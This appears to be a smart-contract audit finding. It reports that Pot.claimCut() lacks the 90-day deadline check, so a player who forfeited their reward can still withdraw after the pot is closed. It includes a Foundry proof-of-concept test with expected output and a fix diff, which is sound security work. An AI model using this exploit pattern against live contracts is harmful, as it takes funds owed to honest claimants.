Description
Pot.claimCut() never checks block.timestamp against the 90-day claim window. The README states that claimants have "90 days to claim before the manager takes a cut of the remaining pool and the remainder is distributed equally to those who claimed in time". Because no deadline is enforced, a player who forfeited their reward can still call claimCut() after closePot() has executed, extracting tokens from the pool that has already been distributed.
@> function claimCut() public {
address player = msg.sender;
uint256 reward = playersToRewards[player];
if (reward <= 0) {
revert Pot__RewardNotFound();
}
@>
playersToRewards[player] = 0;
remainingRewards -= reward;
claimants.push(player);
_transferReward(player, reward);
}
closePot() correctly guards itself with if (block.timestamp - i_deployedAt < 90 days) revert Pot__StillOpenForClaim();, but claimCut() has no symmetric guard. After the manager cut and the claimant cuts have been paid out, the residual balance is still withdrawable by any address whose playersToRewards entry was never zeroed. Those tokens belong to the timely claimants under the documented distribution rule, so the late claim directly reduces what honest participants receive.
Risk
Likelihood: HIGH — any player who missed the window can call claimCut() at zero cost and receive their full original reward. There is no disincentive and no access control preventing it.
Impact: HIGH — a forfeited player extracts 20 tokens from a pool that was already distributed, taking value that the README allocates to the timely claimants. In the scenario below the pot drops from 34 to 14 tokens after the pot was supposed to be closed.
Severity: HIGH (High impact × High likelihood)
Proof of Concept
The test deploys the real ContestManager and Pot, funds the pot with 100 tokens for 5 players (20 each), lets only 2 players claim inside the window, advances time past 90 days, closes the contest, and then shows that a third player who never claimed in time can still withdraw their full reward.
Steps:
Place as test/PotClaimCutDeadlinePoC.t.sol and run:
forge test --match-contract PotClaimCutDeadlinePoC -vvv
pragma solidity ^0.8.20;
import {Test, console} from "lib/forge-std/src/Test.sol";
import {ContestManager} from "../src/ContestManager.sol";
import {Pot} from "../src/Pot.sol";
import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
contract PotClaimCutDeadlinePoC is Test {
address owner = makeAddr("owner");
address p1 = makeAddr("p1");
address p2 = makeAddr("p2");
address p3 = makeAddr("p3");
address p4 = makeAddr("p4");
address p5 = makeAddr("p5");
uint256 constant PER_PLAYER = 20;
uint256 constant TOTAL = 100;
ContestManager manager;
ERC20Mock token;
address pot;
function setUp() public {
vm.startPrank(owner);
manager = new ContestManager();
token = new ERC20Mock("MOCK", "MCK", owner, 1000);
token.approve(address(manager), 1000);
address[] memory players = new address[](5);
uint256[] memory rewards = new uint256[](5);
players[0] = p1; players[1] = p2; players[2] = p3; players[3] = p4; players[4] = p5;
for (uint256 i = 0; i < 5; i++) rewards[i] = PER_PLAYER;
pot = manager.createContest(players, rewards, IERC20(address(token)), TOTAL);
manager.fundContest(0);
vm.stopPrank();
}
function test_claimCut_succeeds_after_closePot() public {
vm.prank(p1);
Pot(pot).claimCut();
vm.prank(p2);
Pot(pot).claimCut();
vm.warp(block.timestamp + 90 days);
vm.prank(owner);
manager.closeContest(pot);
uint256 potAfterClose = token.balanceOf(pot);
console.log("pot balance right after closePot:", potAfterClose);
assertEq(potAfterClose, 34);
vm.prank(p3);
Pot(pot).claimCut();
uint256 p3Balance = token.balanceOf(p3);
uint256 potAfterLateClaim = token.balanceOf(pot);
uint256 remaining = Pot(pot).getRemainingRewards();
console.log("p3 balance after late claim:", p3Balance);
console.log("pot balance after late claim:", potAfterLateClaim);
console.log("remainingRewards after late claim:", remaining);
assertEq(p3Balance, 20, "BUG: forfeited player received full reward");
assertEq(potAfterLateClaim, 14, "BUG: 20 tokens drained post-distribution");
assertEq(remaining, 40);
}
}
Expected output:
pot balance right after closePot: 34
p3 balance after late claim: 20
pot balance after late claim: 14
remainingRewards after late claim: 40
Suite result: ok. 1 passed; 0 failed; 0 skipped
p3 received 20 tokens despite never claiming inside the 90-day window, and the pot was drained from 34 to 14 after it had already been closed.
Recommended Mitigation
Enforce the same 90-day window in claimCut() that closePot() already enforces, so a reward is forfeited once the claim period elapses.
function claimCut() public {
+ if (block.timestamp - i_deployedAt >= 90 days) {
+ revert Pot__StillOpenForClaim();
+ }
address player = msg.sender;
uint256 reward = playersToRewards[player];
if (reward <= 0) {
revert Pot__RewardNotFound();
}
playersToRewards[player] = 0;
remainingRewards -= reward;
claimants.push(player);
_transferReward(player, reward);
}
A dedicated error such as Pot__ClaimPeriodEnded() is preferable to reusing Pot__StillOpenForClaim(), but the guard itself is the fix.